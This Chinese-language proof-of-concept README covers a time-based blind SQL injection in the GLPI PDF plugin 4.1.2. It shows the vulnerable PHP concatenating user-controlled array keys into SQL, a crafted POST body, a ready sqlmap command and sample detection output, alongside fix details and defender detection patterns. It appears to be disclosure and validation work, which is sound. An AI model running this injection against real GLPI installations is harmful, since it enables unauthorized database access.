CVE-2026-61797 的概念验证,这是一个影响 GLPI PDF 插件的基于时间的盲 SQL 注入漏洞。
该漏洞可通过以下路径触发:
/marketplace/pdf/front/preference.form.php
在存在漏洞的实现中,来自 item POST 数组的用户可控值被插入到 SQL 查询中,而未进行适当的参数化处理。
经过身份验证的低权限 GLPI 用户可以利用此行为注入 SQL 表达式,并通过响应时间推断数据库信息。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-61797 |
| 产品 | GLPI PDF 插件 |
| 测试版本 | 4.1.2 |
| 修复版本 | 4.1.3 |
| 漏洞类型 | 基于时间的盲 SQL 注入 |
| 身份验证 | 在测试的 4.1.2 分支上需要 |
| 攻击向量 | 网络 |
| 用户交互 | 无 |
| 数据库 | MySQL |
| CVSS | 6.1 / 10 |
| 安全公告 | GHSA-wwr3-v347-c64m |
存在漏洞的代码最终将攻击者可控的 item 键放入 SQL INSERT 语句的 tabref 字段中。
从概念上讲,存在漏洞的操作如下所示:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
由于 $key 成为 SQL 语句的一部分,精心构造的数组键可以修改生成的查询。
该 PoC 需要:
sqlmap。该 PoC 已在 PDF Plugin 4.1.2 上验证通过。
捕获一个发往以下地址的合法请求:
POST /marketplace/pdf/front/preference.form.php
并将其保存为:
glpi.sqli
一个适合用于标记注入点的最小请求体为:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
* 告诉 sqlmap 应测试请求的哪一部分。
请求结构示例:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
运行:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
存在漏洞的安装应被识别为在自定义 POST 注入点接受基于时间的盲 SQL 注入。
典型的检测结果类似于:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
该技术依赖于条件性 MySQL 延迟(如 SLEEP())来判断注入的条件是否求值为真。
本仓库有意将记录的 PoC 限制在漏洞验证范围内,不提供数据库转储或凭据提取命令。
存在漏洞的请求到达:
plugins/pdf/front/preference.form.php
应用程序处理类似以下的值:
item[<USER_CONTROLLED_VALUE>]=1
PHP 将其转换为关联数组,其中攻击者控制数组键。
该键随后被插件用作 $key,并且在存在漏洞的版本中,被直接拼接到 SQL 语句中。
由此产生的数据流实际上为:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
因此,基于时间的载荷可以影响 SQL 表达式,并在提供的条件为真时使数据库故意延迟响应。
由于应用程序不会直接返回 SQL 查询结果,因此利用方式为盲 SQL 注入。
该问题已在 PDF Plugin 4.1.3 中修复。
存在漏洞的原始 SQL 操作已被更安全的数据库/ORM 机制以及额外的授权逻辑所取代。
用户应升级至:
PDF Plugin >= 4.1.3
或更新的受支持版本。
防御者可能希望审查针对以下地址的 HTTP 请求:
/marketplace/pdf/front/preference.form.php
其中包含异常的 item[...] 参数名。
特别可疑的模式包括数组键中出现 SQL 语法或时间延迟函数,例如对以下内容的引用:
SLEEP(
SELECT
AND
OR
||
'
"
对该端点的重复 POST 请求,随后出现一致的多秒响应延迟,也可能表明存在利用基于时间的盲 SQL 注入的尝试。
本概念验证仅用于:
请勿将其用于您不拥有或未获得明确测试许可的系统。
作者对本材料的未经授权或非法使用不承担任何责任。
漏洞研究与原始技术分析:
ITRESIT Labs — Javier Medina
原始研究:
CVE:
CVE-2026-61797
GitHub 安全公告:
GHSA-wwr3-v347-c64m
本仓库仅用于教育和经授权的安全测试目的。
在测试您不拥有的系统之前,请务必获得明确许可。